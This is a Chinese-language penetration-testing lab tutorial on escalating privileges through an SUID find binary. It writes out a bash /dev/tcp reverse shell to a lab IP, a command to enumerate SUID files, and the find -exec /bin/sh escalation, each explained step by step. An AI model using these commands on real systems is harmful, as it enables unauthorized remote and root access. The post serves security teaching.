渗透测试实战,SUID find命令提权全流程解析

由 晨星运营组 发布

SUID find 命令提权

环境准备环境准备


攻击者:Kali Linux

靶标:Ubuntu 12.04.5

靶机上执行命令搭建环境

sudo chmod 4777 /usr/bin/find

反弹shell搭建


在靶标上手动创建反弹Shell,模拟已进入内网情况

bash -i >& /dev/tcp/192.168.41.151/6767 0>&1
bash -i

  • 启动一个交互式bash shell(-i代表interactive)

  • 这样进程不会只是执行一次命令后退出,而是会等待用户输入

/dev/tcp/192.168.41.151/6767

  • 在bash内置的特殊文件系统中,/dev/tcp/HOST/PORT表示一个TCP连接

  • 当你尝试对它进行重定向时,bash会尝试连接指定的IP和端口

  • 这里就是,尝试建立到192.168.41.151:6767的TCP连接

>&

  • 标准输出和标准错误的重定向

  • & target表示把stdout(1)和stderr(2)一起重定向到目标

  • 这里,目标是/dev/tcp/192.168.41.151/6767,即远程TCP连接

0>&1

  • 把标准输入(0)重定向到标准输出(1)

  • 而标准输出已经被重定向到远程TCP连接,因此输入也会来自那个连接

综合效果

  • 启动一个交互式bash shell (bash -i)

  • 该shell的输入、输出、错误流都被重定向到远程TCP连接 (192.168.41.151:6767)

  • 结果:一旦远程主机在该端口上监听,执行这条命令的机器就会反向连接过去,并且把一个交互式shell提供给远程主机

    KaliLinux 监听

查找SUID权限文件

find / -type f -perm /4000 2>/dev/null 1. find /
1. find /

  • 作用:从根目录开始递归查找整个文件系统

2. -type -f

  • 说明:表示只查找普通文件(regular file)

3. -perm /4000

  • 说明:匹配文件权限位中含有SUID位(Set User ID on execution)的文件

  • /4000含义:
    / 表示“按位或匹配”,只要有4000位,就会被匹配

4000表示SUID权限位

因此,这里会找到系统中所有设置了SUID的二进制文(如 /usr/bin/passwd)

4. 2>/dev/null

  • 说明:把标准错误输出(stderr)重定向到/dev/null,也就是把错误信息丢掉

  • 例如,在遍历/proc、/sys等目录时可能会报“权限不足”错误,这样就不会显示出来

提权操作


利用 find 提权

find . -exec /bin/sh \; -quit
find .

从当前目录开始遍历

-exec /bin/sh \;

对每个匹配到的条目执行/bin/sh。

注意这里没有 {},也就是说find只是运行/bin/sh这个命令(每次匹配都会启动一次shell),而不是把匹配的文件名作为参数传给shell

-quit

遇到第一个匹配后立即退出(因此只会启动一次/bin/sh),避免继续遍历

如果find在高权限上下文中运行(例如被root/管理员身份执行的脚本、cron job、或者某个有特权的进程间接调用find),那么-exec /bin/sh会在那个高权限上下文下启动shell,从而直接获得高权限交互式shell


0条评论

发表评论